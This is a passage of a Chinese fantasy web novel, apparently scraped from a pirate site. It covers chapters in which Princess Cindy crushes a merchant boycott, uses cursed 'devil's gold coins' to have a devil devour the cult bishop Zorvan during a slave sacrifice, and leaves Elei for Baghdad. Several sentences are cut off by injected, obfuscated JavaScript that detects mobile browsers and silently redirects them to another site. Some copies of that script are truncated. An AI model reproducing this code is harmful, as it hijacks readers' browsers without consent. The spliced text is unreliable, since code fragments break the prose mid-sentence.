可是眼下看来，香料哪有雪糖、彩绸和纸张在巴格达挣得多呢？ 他在见识了埃烈的这些物产后，毫不犹豫地抛弃了原本的计划，决定买上许多雪糖卖到别的城市。 和这位外地商人有着相同想法的人不少，甚至还有埃烈本地人在听说了巴格达这些东西的昂贵价格后，生出了倒卖的心思。 可以预见的埃烈的工厂即将迎来一笔笔大单，不过现在大家都还没有意识到这件事，仍旧沉浸在节日的欢乐氛围之中哩。 这一切都在辛蒂的意料之中，纵使没有古德节前来埃烈的这些外地商人， 埃烈的名声也会随着雪糖、彩绸和白纸响彻整个阿拉比亚王国，只是时间早晚的问题。 古德节这么热闹，辛蒂当然不会在城主府枯坐，她和狄奥多罗斯一起，像上次一样乔装打扮，像平民一般在大街小巷闲逛游玩。 装扮成平民这样的事，只有零次和无数次的区别。不仅好玩，辛蒂还能知道埃烈的居民们真实的生活状态。 当然这样并不算安全，毕竟埃烈还有许多人看她不顺眼，就算遭遇当街刺杀她也不会感到意外。 不过辛蒂有法术护身，并不害怕刺客。 事实上，她就等着有胆大包天之人上门，这样她才有对城中势力动手清算的理由。 可惜这些人的胆子让辛蒂感到失望，她认为上次她和狄奥多罗斯坐船就是很好的行刺机会。 当时竟然没有一个刺客，整个过程都极其风平浪静，希望这次出行能有些“收获”。 埃烈庆祝古德节确实吸引了许多外地人，短短一段路，辛蒂就看见了好几个或是对雪糖，或是对彩绸有兴趣的外地商人。 对此埃烈早有准备，商人们生产了许多货物堆积在仓库里，就等着他们来采购哩。 狄奥多罗斯同样嗅到了金钱的味道，他噙着微笑祝贺辛蒂：“恭喜您，许多金币就要送上门了。” 狄奥多罗斯现在已经彻底放弃了对于辛蒂手中技术的觊觎，他老老实实地做一个王室的香料供应商也挺好的。 他能有这样的觉悟并非是他突然失去了野心，而是辛蒂神鬼莫测的手段实在叫人害怕。 辛蒂亚公主颁布的平抑物价的政令触犯了许多商人的利益，狄奥多罗斯就因此损失了大概一成的利润。 他之前因为辛蒂亚公主给的甜头，暂时按耐下来没有和她作对。 不过狄奥多罗斯不动手，并不意味着其他的商人坐以待毙。 城中可是还有不少大商人，虽然生意规模没他大，也断然不肯坐视辛蒂亚公主对市场规则横加干涉，挤压他们的生存空间的。 于是一部分商人联合起来，公开抵制辛蒂亚公主，他们还想要邀请狄奥多罗斯一起。 现在想想，幸好他拒绝了。 商人联盟的手段是很简单，他们中的粮商全部关闭了在埃烈的粮铺，盐商也停止出售货物。 而简单的手段往往有效，埃烈的居民们大多家中没有存粮，多是在市场中购买。 居民们获得粮食的渠道变少，虽然还没到断粮的程度，这也导致了埃烈城中的物价大涨。 贵价的粮食和盐买着心疼，不买又要饿肚子，一时间所有人都忘记了他们从新政令中获得的好处，埋怨上了辛蒂亚公主，新城主的名声一落千丈。 因为商人们的动作突然，城主府实现并未听到风声，如今城主府也没有存粮，向外购买粮食又来不及了。 粮商和盐商自负掌握着埃烈的命脉，笃定辛蒂亚公主想不出任何办法解决粮食问题，只等着辛蒂亚公主亲自来跟他们赔礼道歉。 埃烈的居民们也都等着辛蒂亚公主向商人们低头，然而城主府面对这样紧急的情况，一点动静都没有。 就在民怨逐渐累积的时候，这些商人们的家里忽然出事了。 领头抵制辛蒂亚公主的商人忽然生了场大病，没几天就瘦得脱了形。 其他商人或是仓库着火，又或是后宅不宁，一时间人人都焦头烂额，几乎没有精力再继续闹事。 在有心人的点拨下，他们这个时候想起了辛蒂亚公主的神佑之名，忙不迭地重新开门营业，按照原来的价格售卖货物。 神奇的是，他们的店铺一正常开张，所有的倒霉事全部不翼而飞，重病的商人也不药而愈。 与此同时，传言中这些事都成了真主对于不敬辛蒂亚公主之人的惩罚。 他们改过后，这些惩罚自然就被清除了。 原本有心拿这件事做文章的人在听到传言后都歇了心思，主要是虽然大家都怀疑这些事是辛蒂亚公主做的，可是没人能有证据证明。 毕竟这段时间，辛蒂亚公主可没出城主府半步呢。 狄奥多罗斯虽然不知道辛蒂亚公主是怎么做到的，但是他毫不怀疑这就是她的手段。 为了不突然得病去世，或是在意外中失去性命，他决定还是不要跟辛蒂亚公主作对。 他还想多活几年，享受他辛苦赚来的财富呢。 狄奥多罗斯确实表现得十分乖巧，连商人们的抵制行动都没有参加。 就连他原本的糖铺和丝绸铺都因为生意太差被其他商人买了下来，他也没有在她面前表现出丝毫的不满。 这让原本打算最后清算他的辛蒂有些下不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954423|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去手了， 她凝视着阳光下狄奥多罗斯熠熠生辉的琥珀色眼睛，决定要是他能继续乖巧下去，她可以放他一马。 辛蒂刚想说些什么，她忽然间感觉到周围变得不对劲起来。 欢声笑语的人群正在迅速远离她而去，她看见狄奥多罗斯的嘴唇一张一合，可是他的声音似乎从一个很远的地方飘来，她一个字都没有听清。 辛蒂的灵性像是坏掉的报警器一样疯狂预警，她下意识打开灵视，发现本来应该充斥着各种五颜六色能量光团的周围，此时陷入了无边的黑暗。 黑暗中的唯一光源就是辛蒂自身，柔和的白光从辛蒂放置于胸口的护符中逸散开来，护住了辛蒂的灵性，让她和周遭的黑暗泾渭分明。 这个护符是辛蒂专门做出来，以预防魔鬼可能的攻击。 换而言之，这黑暗就是魔鬼造成的，意图吞噬辛蒂，要是没有护符的庇护，恐怕辛蒂此时已经成为了一具失去灵魂的空壳。 白光和黑暗对峙着，在观察不到的地方交锋了数个回合。辛蒂小心地握住胸口的护符，生怕它在闪烁间暗淡下去。 白光和黑暗僵持了片刻，终于黑暗不敌，放弃了进攻，白光护住了辛蒂。 黑暗褪去，辛蒂的意识瞬间回笼，在狄奥多罗斯的眼里，辛蒂亚公主似乎有些走神，他的手在她眼前晃晃，再次重复了他的问题，语气中有少许疑惑： “我的意思是，您是不是需要休息一下？” 片刻后，二人踏进了一家小店，狄奥多罗斯发现辛蒂亚公主自从坐下以后就陷入了沉默，神色凝重的不知道在思考什么。 他回想了半天，也没想起来刚刚有发生什么特别的，可能导致一个上一秒还喜笑颜开的少女脸色变得如此阴沉的事。 辛蒂此时确实心情不佳，在恶魔退走后，她的护符就化作了空气，连一点灰烬都没有留下。 这也印证了刚刚她经历的不是什么幻觉，确实有一个恶魔企图夺走她的生命。 这枚能防御魔鬼的护符极为难得，她收集了这么久的材料也只做成一枚而已。 也就是说要是再次遭到魔鬼的攻击，她几乎就毫无手段，只能任其宰割了。 好在她大概心里有数，指使魔鬼的人大概率就是阿赫勒教团的主教佐尔万。 魔鬼从不打白工，虽然失手了，祂绝不会将祭品退给佐尔万。 以阿赫勒教团的经济实力，是做不起第二次和魔鬼的交易的，所以短时间内辛蒂不会再遭到类似的事。 辛蒂错误估计了佐尔万对她的怨恨程度，以至于陷入了人今天这样被动的局面，她不会再给佐尔万出手的机会。 想到这里，辛蒂瞥了一眼正在优雅啜饮茶水的狄奥多罗斯，一个小小的计划在心中成型。 “狄奥卿，我需要你帮我做一件事。”辛蒂的手指轻叩桌面，长长的睫毛盖住了她黑色的眼睛，叫人看不透她的想法。 狄奥多罗斯闻言端坐起来，做出洗耳恭听之态。 68.魔鬼的金币 “我需要你恢复对阿赫勒教团的赞助，明天的朝阳升起之时，我会给你送上一万金币，这些金币你要原封不动地送到佐尔万的手上。” “记住，是原封不动。” 不过是一万金币，难道他还会偷偷昧下吗？狄奥多罗斯感到一头雾水。 不管是辛蒂亚公主让他恢复对阿赫勒教团的赞助，还是这个看起来十分多余的嘱咐都让他看不透。 不过既然她吩咐了，他照做就是，辛蒂亚公主必然有她自己的想法。 主教佐尔万听到狄奥多罗斯要恢复对他们的赞助的时候也觉得奇怪，甚至怀疑自己是不是因为经费紧缺产生了幻觉。 直到一大袋崭新的，金光灿灿的金币送到他的手上的时候，他才有了一些真实感。 尽管他确实十分需要这些金币——在古德节进行完祭祀后，阿赫勒教团已经到了揭不开锅的程度。 他还是克制住了内心对于金币的贪婪，谨慎问道：“我听说您最近和辛蒂亚公主打得火热，您为什么会选择继续资助我们这些异教徒呢？” “我并无怀疑您的意思，只是这样的馈赠实在让我觉得受宠若惊。” 狄奥多罗斯早就想好了说辞，他长叹一口气，佯装苦恼道：“不知您是否听说过，之前那些妄图抵制辛蒂亚公主的那些商人的下场，太可怕了。” 佐尔万主教当然听说过，其中有几位商人还来找过他，希望他能帮忙驱除他们身上的厄运。 可惜他也毫无办法，他甚至都看不出辛蒂亚公主使了什么手段。 看到佐尔万脸上浮现出了然的神色，狄奥多罗斯才继续道：“哎，虽然外界都说这是因为辛蒂亚公主受到了真主的庇佑，我却不这么认为。” “我觉得这些都是她排除异己的手段，她远没有表面上看上去那么纯真可爱呢。” 佐尔万忍不住赞同点头，他总是能在外面听到那些愚蠢的平民的无知言论。 他们盲信神佑公主的美名，认为那些乱七八杂的事都和她无关，她本人是无比纯洁善良的。 如今总算遇到一个明白人，佐尔万心中对于狄奥多罗斯的疑虑不知不觉消散了不少。 狄奥多罗斯目前为止所说的都是真话，真假半掺的话更能取信于人。 “辛蒂亚公主这样的手段，即使我们现下关系还不错，我也害怕哪天惹了她不高兴，她也叫我倒霉呢。” “所以我再三思量后，决定恢复对于贵团的赞助，求您再多给我些之前那些符咒，我好求个心安。” 佐尔万此时已经完全相信了狄奥多罗斯，一个担忧自身安危的人是绝对可信的哩。 他当然不会说自己亦无对付辛蒂亚公主的法术的把握，更别说那些符咒，能起到的效果十分有限。 他稳稳地答应了狄奥多罗斯的请求，当场就给了大金主好些符咒。 佐尔万面上继续着和狄奥多罗斯的谈话，实际上内心已经在思考着如何使用这一万金币了。 古德节的祭祀没有起到理想的效果，主传递而来的意志十分清晰，那是因为祭品不够丰富的缘故。 要是能有更多的祭品，他下一次出手必然能取得辛蒂亚公主的性命。 佐尔万一不做二不休，没有考虑阿赫勒教团的成员们已经很久没有得到应有的津贴。 他决定将这一万新崭崭的金币全部用于购买祭品，以求主能彻底解决辛蒂亚公主。 这是值得的，不说辛蒂亚公主已经坏了他们多少好事，他冷眼看着，这位公主恐怕会威胁到埃米尔马蒙的哈里发之位。 他不像其他教派的那些老古板，认为一个女人不可能成为国家的统治者。 就凭这位公主在埃烈表现出来的手段和雷厉风行的气质，强上了埃米尔马蒙百倍不止。 要是他是哈里发，他只要眼睛没瞎也会选择辛蒂亚公主成为继承人。 更别说辛蒂亚公主已经对于阿赫勒教团信仰恶神有了些知觉，发现埃米尔马蒙改信了恶神安格纽是早晚的事。 到时候她必定会揭穿马蒙，他们拥立安格纽代替安拉的壮志就会暗消云散。 凭此种种，他除掉辛蒂亚公主的心意十分坚决，花费的代价再大也在所不惜。 佐尔万摩挲着手中的金币，这些金币想必是刚铸造出来不久，他还能感受到它来源的金矿的气味。 这样新的金币购买的祭品，想来主也会更加喜欢的。 接下来的事也十分顺利，佐尔万抑制不住激动的心，和狄奥多罗斯分开以后就直奔奴隶市场。 为了表现对于主的虔诚，他一向都是亲自采购祭品。 他盘算着，一万金币差不多可以换一百个品质不错的奴隶。 不过主一向偏爱年轻聪明的灵魂，按照这个标准，这一万金币只能换50个这样的奴隶了。 相熟的奴隶贩子似乎知道他要来，早早的就笑容可掬的迎在门口：“今天来了一批老年奴隶，我特意为您留着，价格十分实惠。” 佐尔万来得勤，奴隶贩子们早就摸清楚了这个大主顾的喜好，价格是最重要的因素。 只要价格足够便宜，不管是缺胳膊少腿的，还是神智不清的，又或是年老体弱的，他都来者不拒。 佐尔万不是奴隶市场最大的买主，却是最受欢迎的，帮许多奴隶贩子解决了卖不掉的奴隶。 不过这次佐尔万却看都不看一眼这些便宜货，他径直吩咐奴隶贩子道：“把你这里最好的货色都拿出来。” 奴隶贩子啊了一声：“那这些年纪大的您还要吗？” 他花了些钱买下这些赔钱的奴隶可不是为了做善事的，就是为了卖给佐尔万，佐尔万要是不要，他就赔本了。 好在佐尔万考虑到了以后，还是点点头道：“帮我留着，我下次来买。” 奴隶贩子这才喜笑颜开地去按照佐尔万的要求清点“货物”去了。 将带来的一万金币都花得干干净净，佐尔万买到了二十个一看就聪明的孩童，还有二十个机灵的成年人。 佐尔万这时候才想起来他还没买祭祀需要用到的材料，又跟奴隶贩子讨价还价一番，收回了几个零头这才罢休。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962218|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 佐尔万离开后，奴隶贩子喜孜孜地数着金币，一个晃眼间，他忽然发现刚刚还亮闪闪的钱币忽然变得灰扑扑的。 他揉揉眼睛，还是灰扑扑的。 其实用久了的金币就是这样的色泽，相较而言最开始那种亮闪闪的状态才是不寻常的。 他心下感到疑惑，这老头不会是在诓骗他，使了什么邪术吧？ 要真是如此，他非得去城主府告上一状不可！ 好在他又用了牙齿咬、称重、火烧等方式，确定了这一袋钱币是真金无疑。 他只得认为刚刚是自己眼花了，将心中的疑虑抛之脑后。 这边辛蒂收到了狄奥多罗斯的报信，他表示一切都办妥了，那袋金币被“原封不动”地交到了佐尔万手里。 信中“原封不动”这几个字被特意大写加粗，让辛蒂忍不住觉得好笑。 她知道狄奥多罗斯对此心有疑虑，不过她很难向他解释，她总不能告诉他，这些金币不是普通的金币，而是魔法金币吧？ 准确地说，这些金币的名字其实是“魔鬼的金币”。 魔鬼的金币也是《神秘学发展》中提到的，据说是一个走投无路的穷人，无可奈何之下请求魔鬼给他一些钱。 魔鬼没有提出任何的条件就给了这个穷人一枚金币。 穷人用这枚金币买了两块白面包并一片火腿填饱肚子后，又用剩下的钱赁了一间屋子。 伴随着饱腹的满足感好好地睡了一觉后，他醒来后发现自己失去了一根手指以及一个耳朵。 他心中明悟，这就是魔鬼因为那枚金币索取的代价了。 这是最早的关于魔鬼的金币的记载，后来又陆陆续续的有人跟魔鬼要钱，用自身甚至性命的代价总结出了一些规律。 金币使用者必然会被魔鬼索取代价，而且这样的索取是无法被阻挡和反抗的。 设计的金币的数量越多，魔鬼索取的代价越大，乃至于金币使用者的灵魂。 后续又有人开发出了魔鬼的金币的其他用法，即使以此害人。 将魔鬼的金币无偿给予不知情的人，只要他使用了就要付出代价。 狄奥多罗斯给佐尔万的一万枚金币就是辛蒂从魔鬼那里取得的，而且辛蒂还给了魔鬼先生一个建议。 “好叫您知道，这些金币的使用者届时会为您带来更丰厚的回报——另外一个魔鬼的力量。” “只需要您稍稍等待，等待一个最好的时机。” 理论上魔鬼的金币的使用者在用了金币的那一刻，因果关系就即时成立，魔鬼可以随时出手收取他想要的代价。 辛蒂希望魔鬼先生能等到佐尔万献出祭品的那一刻，一旦和佐尔万进行交易的那位魔鬼享用了使用魔鬼的金币购买的祭品，给出金币的魔鬼就有权从祂身上获取报酬。 一万金币的报酬，辛蒂认为这足够魔鬼先生饱餐一顿了。 佐尔万不是喜欢跟魔鬼做交易吗，她索性再引一位魔鬼入场，想必祭祀时候的场面十分好看。 可惜她不能亲眼目睹了。 69.回到巴格达 佐尔万当然对辛蒂的计谋一无所知，他布置着祭祀的现场，内心激荡，幻想着辛蒂亚公主在几个小时后众目睽睽之下倒地身亡的场景。 那张年轻的、美丽的脸蛋会在数秒之内失去血色，她的黑眸再也不能射出让人战栗的寒光，整个埃烈都会哀悼新城主的死亡。 届时他也会和众人一起掉下眼泪，并不真心地捶胸顿足，任谁也猜不到他其实就是幕后的真凶。 在佐尔万的心潮澎湃之中，他按照惯例的流程向“恶神安格纽”献上这次的祭品，也就是那一万金币换来的那四十个人的灵魂。 灵魂香甜的味道在小小的室内散逸开来，那是一种只有魔鬼才能闻到的甜美的香气，胜过世界上所有的香料。 纵使是魔鬼，也没有察觉出这些美味的灵魂后面，潜藏着的另外一个魔鬼的气息。 或许祂有所察觉，可是这些味道让祂几乎失去了理智，只剩下无法被满足的食欲。 祂就像面对着一个装饰华美的蛋糕，一口咬下，松软的糕体和喷香的奶油在嘴里融化。 就在这时，祂吃出了蛋糕中的那一点点的异味。 厌恶肉食的清教徒能瞬间分辨出食物中的肉味，祂亦敏锐地尝出了其中另外一个魔鬼的气味。 可是此时已经来不及了，“蛋糕”已经融化进了祂的肚肠，此时因果关系成立，祂必须要舍弃自身的一部分力量作为使用魔鬼的金币的代价。 是的，即使祂那一口只吃掉了两个人的灵魂，即使真正的金币使用者是佐尔万。 祂仍然需要为这一点灵魂付出价钱。 “卑鄙的佐尔万！！！”祂怒号着，认定这是人类陷害祂的阴谋。 魔鬼有仇必报，愤怒让祂立时就要找佐尔万算账，祂要吞下这个人类的灵魂，让祂永生永世在油锅中煎熬。 可是这个时候，祂发现佐尔万已经是一具空壳了。 在祭祀成立的那一刻，佐尔万的债主，另外一个魔鬼就迫不及待地现身吃掉了佐尔万——祂的贪婪并不比另外一只魔鬼好多少。 若非辛蒂告诉祂有机会吃掉另外一个魔鬼，祂恐怕会在佐尔万买下祭品的一瞬间吃掉他的灵魂。 天知道，对于一个魔鬼来说，要克制自己不吃掉近在咫尺的食物是多么艰难。 等待是值得的，佐尔万的灵魂很美味，甚至超过了在场四十个祭品的总和。 他毕竟是阿赫勒教团的主教，有着不凡的资质，味道当然要比凡人更好。 债主魔鬼细细咂摸着佐尔万的滋味，祂吃下他的时机正好，佐尔万的内心充满快活，灵魂的状态极其松弛。 还是用凡人的菜肴打比方，这就是一盘菜刚出锅的时候，他的灵魂再没有比这更美味的时候了。 不过债主魔鬼没有忘记取得更大的报酬，也就是佐尔万供奉的那位魔鬼的一部分。 换做是平常，因为规则的束缚，魔鬼之间是不被允许相互攻击的，更别说吃掉对方。 但是现在，债主魔鬼有着充分的理由，在规则的允许之下，祂可以狠狠啃掉对方一大块肉。 这可比什么凡人的灵魂都要滋补得多，甚至可以帮助祂成为这世间最强大的魔鬼。 于是在阿赫勒教团其他人的灵视中，祭祀正进行到一半，他们的主教的灵魂忽然消失了，只留下一具嘴角含笑的躯壳。 他们来不及查看主教的情况，现场忽然显现出了一个魔鬼。 那是一个和真主的描述中别无二致的形象，幽邃而暗沉的黑色，仿佛能吸走他们的灵魂。 他们来不及恐惧，忽然看到他们所信奉的恶神安格纽竟然被魔鬼吞掉了一部分。 祂庄严的表象顿时消失了，摇身一变，竟然也变成了一个魔鬼。 对于两个魔鬼之间的交锋，阿赫勒教团的众人一无所知。 不过他们很清楚，大名鼎鼎的恶神安格纽，是绝不会不敌一个小小的魔鬼的，更别说被它吞噬掉一部分。 事情的真相显而易见，整个阿赫勒教团都受到了魔鬼的蒙蔽，他们所认为的神明给予的回馈其实是和魔鬼的交易。 他们自以为是恶神的扈从，实际上却是相信魔鬼的蠢蛋。 这场闹剧一般的祭祀的最后，一个魔鬼落荒而逃，另一个则吃得心满意足地离去。 后者没有再收割剩下的祭品和阿赫勒教团其他成员们的灵魂。 这当然不是因为他吃不下了，而是他事先被辛蒂的理论说服。 她告诉魔鬼，这些祭品的灵魂是用魔鬼的金币买下的，已经是祂的囊中之物。 所以祂大可不必急着吃下他们，大可以等他们经历过世事，灵魂变得充实之后岂不是更加美味。 这是辛蒂随口胡诌的借口，魔鬼却被她说服了。 比起年轻灵魂娇嫩的口感，祂确实更喜欢老年人的灵魂的丰富滋味。 于是等待在祭祀场所之外的城主府的侍卫们最终成功救下了剩下的祭品们。 辛蒂将这些大难不死的奴隶安排进了商人们的工厂里，和她交易的魔鬼还算守信，祂会在这些人死后再吃掉他们的灵魂。 辛蒂后续没有再过多关注阿赫勒教团，听说他迅速推选出了新的主教。 在新主教的带领下，他们不再妄图从神明或者魔鬼那里获得高深的法术。开始变得异常低调，很少再现身于人前。 辛蒂解决了佐尔万之后，埃烈再无与她公然敌对之人。 商人们无一不对她服服帖帖，小教派们有了阿赫勒教团的前车之鉴，不敢再给新城主找不痛快。 就像她在巴格达时许诺的那样，埃烈这头野兽已经彻底服从于她的力量之下。 往后的三年间，埃烈得到了飞速的发展。 行商们在埃烈购买了许多价格堪称低廉的雪糖、彩绸和白纸，将它们销往阿拉比亚王国的各地。 埃烈生产的产品逐渐闻名于整个阿拉比亚王国，所有人都知道埃烈人都过着天堂一样的生活。 在辛蒂的授意下，商人们还在其他的城市中建造了这三种产品的工厂，让更多的阿拉比亚人得到了实惠。 在辛蒂在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16967518|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 埃烈的任期满了三年之际，雪糖、彩绸和白纸已经不再是贵族的专属，而是所有平民都能用得起的商品。 辛蒂在埃烈还“研究”出了更多的新技术，比如玻璃和红砖。前者用来赚贵族的钱，后者可以给平民们更好的居住环境。 辛蒂的下一步准备朝盐下手，这不像雪糖的小打小闹，会触及到很多贵族甚至王室的根本利益。 当埃烈的雪糖和白纸传到巴格达的时候，辛蒂收到了雪花一般来自巴格达的信件，有威胁有钦佩还有担忧。 尽管辛蒂对此早有心理准备，解决随之而来的刁难和攻讦还是花费了她许多时间和精力。 如果说雪糖在巴格达引起的是风波，那么新的制盐技术将会在巴格达引起风暴。 不过辛蒂还没来得及开始，她就收到了来自哈里发的信件，里面要求埃烈城主回到巴格达述职。 除了公文，信中还表达了哈里发对于辛蒂、阿伊莎的想念。 她这才知道，原来还有三年任期一满，就要回到巴格达述职这样的规定。 辛蒂不能违背哈里发的命令，她收到信件后立刻就吩咐奴仆们开始收拾行李，预备回到巴格达。 她在埃烈该做的事也都做得差不多了，她取得的成绩足以傲视埃米尔马蒙。 她还得到了乌莱玛们的认可，这几年间她常常会去学宫讲经，受到了绝大多数乌莱玛的尊重。 辛蒂仔细回想自己在埃烈的这三年，很满意自己没有浪费一点时间。 或直接或间接的，她葬送了许多人命，但是她认为这都是为了一个更好的未来必要的牺牲。 她对得起埃烈的人们以及信任她对她有期许的人们，更对得起自己。 辛蒂预计这次到巴格达述职，她大概率不会再回到埃烈，由此她特意叫来副官阿卜，吩咐接下来的安排。 “阿卜卿，我离开埃烈之后，你就是埃烈的城主。我会说服我的父亲，为你坐实城主的名分。” 三年过去，年轻的副官阿卜在跟着辛蒂经历了许多事后也变得沉稳了不少。 他虽然知道辛蒂亚公主决定的事不会改变，还是忍不住道：“埃烈离不开您，我没有信心做好埃烈的城主！” 辛蒂拍拍他的肩膀：“我相信你可以的。” “埃烈的城主不是我的最终目标，也不该是你的。” “阿卜卿，好好干，期待能在巴格达见到你。” 辛蒂亚公主简单的话里包含了无限期许与可能，在阿卜心中激起了阵阵涟漪。 他不由得像个毛头小子一样涨红了脸，暗暗下定决心，绝不能辜负辛蒂亚公主。 辛蒂没有说客套话，她相信以阿卜的细致认真，或许不能让埃烈更上一层楼，维持现状却是足够的。 在埃烈积累几年政绩，他就能被光明正大地调到巴格达，继续做她的得力臂膀。 处理好城主事务的交接，辛蒂总觉得自己忘记了什么事。 直到狄奥多罗斯一脸幽怨地上门，她才意识到她好像忘记通知他她要离开的消息。 70.离别 “要是我没有关注到城主府的动静，是不是只有您离开那天我才会知道这件事呢？” 辛蒂莫名觉得有些心虚，她还是正色道：“不，离开的时候我会很低调。或许你会在再次来到城主府的时候知道城主已经换人了。” 狄奥多罗斯的神色更加幽怨了，“您真狠心呐。” 辛蒂有时候觉得看不懂狄奥多罗斯这个人，相识三年，睡也睡了，她该给的好处也给了。 有眼色的诸如一些凭借着姿色接近她的权贵之子知道她失去了兴趣，没多久就会自动从她身边消失。 狄奥多罗斯却总是死皮赖脸的待在她的身边。 不过由于他总是能在她腻了的时候给她新鲜感，他几乎是她身边待的时间最长的男伴。 当然，狄奥多罗斯不仅仅只有新鲜感这个优点，他还是一个很好用的工具人，帮她处理了许多她不方便出面的事。 他从不拈酸吃醋，最起码在她面前是这样。 有些被他用手段弄走的男伴就不说了，狄奥多罗斯只会在她腻烦的时候做这样的事。 这么一想，辛蒂竟然有些舍不得他，毕竟他的技术就像他的外表一样出色，不输十几岁的小男孩。 不过嘛，辛蒂知道狄奥多罗斯最想要的是什么，他设下了无数甜蜜的圈套，将她做一个天真少女来诱哄。 这一切的最终企图都是想得到辛蒂亚公主的真感情，哪怕只有一丝也足够他在阿拉比亚王国横行无阻。 真是痴心妄想，他将感情视作一场投资，希望能得到丰厚的回报。 他的意图辛蒂一早就看穿了，他恐怕自己都不清楚，他的情感投资中，他自己没有拿出哪怕丝毫的真心，而这决定了这会成为他最失败的投资。 话又说回来，在辛蒂这里，真心亦并不算值钱。 世界上并没有任何一条律文规定，真心必然会获得回报。 父子母女、兄弟姐妹之间是这样，男女之间就更是如此了。 狄奥多罗斯此时来当然不会是为了挽留辛蒂，他永远是辛蒂争取更高地位的支持者。 他也不是为了表白自己情感，他更喜欢用实际的行动和真金白银来表现自己。 他来是为了得到辛蒂亚公主的准话，她的未来蓝图中，仍旧有他的一席之地，他想成为至高权力的分享者。 辛蒂洞悉了他的焦虑和渴望，她坐在高高的城主宝座上，含着叫人永远看不透的笑意道： “狄奥卿，等你成为了全国规模最大的香料商人，王宫的大门将永远为你敞开。” 从狄奥多罗斯的角度，只能看到她金色的袍角和鞋尖上硕大的明珠。 他将头埋得更低，深深行礼，“真主在上，遵命就是。” 处理完城主的事，辛蒂才告诉阿伊莎他们要准备回到巴格达的事。 阿伊莎对此的接受程度良好，如今小艾利也已经三岁了，身体十分壮实。 阿伊莎认为这是回到巴格达的好时机，哈里发还没见过他的儿子哩。 自从来到了埃烈，阿伊莎就过上了吃喝不愁，毫无烦恼的日子。 她不关心埃烈的种种事务，也不在乎辛蒂亚公主在埃烈引起了怎么的风波，只管自己安心养胎。 这其中也有辛蒂特意将她隔绝在外的原因，她不希望阿伊莎听到流言以后操心太过。 在艾利出生后，她这种“心无旁骛”的特征就更加明显了，她几乎不让奴仆插手帮助照顾艾利。 她看起来不信任任何人，只有辛蒂才能偶尔接触到艾利。 直到后来辛蒂觉得这样下去不行，阿伊莎这样偏执，恐怕会将艾利养育成为一个怪小孩。 阿伊莎听不进去道理，她只能强行将母子二人隔离开来，直到阿伊莎妥协承诺不会故态复萌才作罢。 一直到今年，阿伊莎才慢慢从那种病态的心理中恢复过来，开始愿意关心外界的事物，也不过分操心艾利的安危了。 她对于回到巴格达这件事接受程度这么高是在辛蒂的意料之外的，她要是想藏着艾利一辈子不叫他出门，辛蒂也不会觉得意外。 之前阿伊莎产子的消息传回巴格达的时候，阿西玛的来信中说听到这个消息，祖拜达王后气得摔烂了她最喜欢的一套茶具。 尽管祖拜达王后这样生气，她还是要维持表面上的大方，赏赐给了阿伊莎不少珍贵的补品。 她的恶意毫不掩饰，辛蒂在那些千里迢迢来到埃烈的补品中检查出了毒素。 在当时这件事将阿伊莎吓得不轻，勾起来她之前的心理阴影，天天抱着艾利不撒手。 按理说她心中对于祖拜达王后的畏惧那么深，应该很害怕回去面对她才对。 阿伊莎的思路很清晰，艾利已经这么大了，阿伊莎又在这几年间见识过辛蒂的种种手段，坚信她完全可以保护好艾利。 她还有一个不为人知的想法，艾利是哈里发的儿子，他也具有继承权，为什么不去争一争呢？ 要是真的一辈子都待在埃烈，艾利就只能在姐姐的庇护下，毫无作为。 不，艾利的未来不应该是这样。 在辛蒂和阿伊莎都有心回到巴格达的情况下，队伍很快就组建了起来。 这次无须顾忌孕妇，队伍精简了不少，辛蒂希望能缩短在路上的旅程。 为了不惊扰埃烈的居民，队伍在凌晨出发。 让辛蒂惊讶的是，城外的道路两旁，已经默然肃立着不少前来送行的人。 这让辛蒂想起来她最初来到埃烈的时候，人们也是这样立在道路两旁，不过那时候他们是在表达抗议和厌恶。 而现在，他们的表情中都带着悲伤和不舍，自发地送别这位原本他们并不看好的城主。 他们有的手里拿着一包雪糖，有的提着自家做的糕点，还有的竟然赶着一头羊！ 平民是蒙昧的、愚蠢的，但是他们又是最知道感恩的。 不需要任何宣传和演讲，他们感受到了生活中点滴的向好的变化。 他们知道这些变化的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 